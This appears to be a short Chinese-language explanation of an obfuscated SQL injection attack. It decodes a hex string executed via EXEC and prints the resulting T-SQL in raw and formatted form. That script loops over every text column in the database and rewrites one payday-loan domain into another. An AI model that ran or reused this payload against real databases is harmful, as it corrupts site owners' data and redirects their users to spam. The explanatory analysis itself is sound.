Exec
可以执行作为字符串传递的 SQL 代码。因此,他们将字符串混淆为字符的十六进制代码,以降低您的可读性。如果将其从十六进制转换为文本,则会给出:
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>10 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'], ''adampaydayloans.com'', ''drewpaydayloans.com'') where ['+@C+'] like ''%adampaydayloans.com%'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
格式化版本:
SET ansi_warnings OFF
DECLARE @T VARCHAR(255),
@C VARCHAR(255)
DECLARE table_cursor CURSOR FOR
SELECT c.table_name,
c.column_name
FROM information_schema.columns c,
information_schema.tables t
WHERE c.data_type IN ( 'nvarchar', 'varchar', 'ntext', 'text' )
AND c.character_maximum_length > 10
AND t.table_name = c.table_name
AND t.table_type = 'BASE TABLE'
OPEN table_cursor
FETCH next FROM table_cursor INTO @T, @C
WHILE( @@FETCH_STATUS = 0 )
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+
'], ''adampaydayloans.com'', ''drewpaydayloans.com'') where ['+@C+
'] like ''%adampaydayloans.com%'' ')
FETCH next FROM table_cursor INTO @T, @C
END
CLOSE table_cursor
DEALLOCATE table_cursor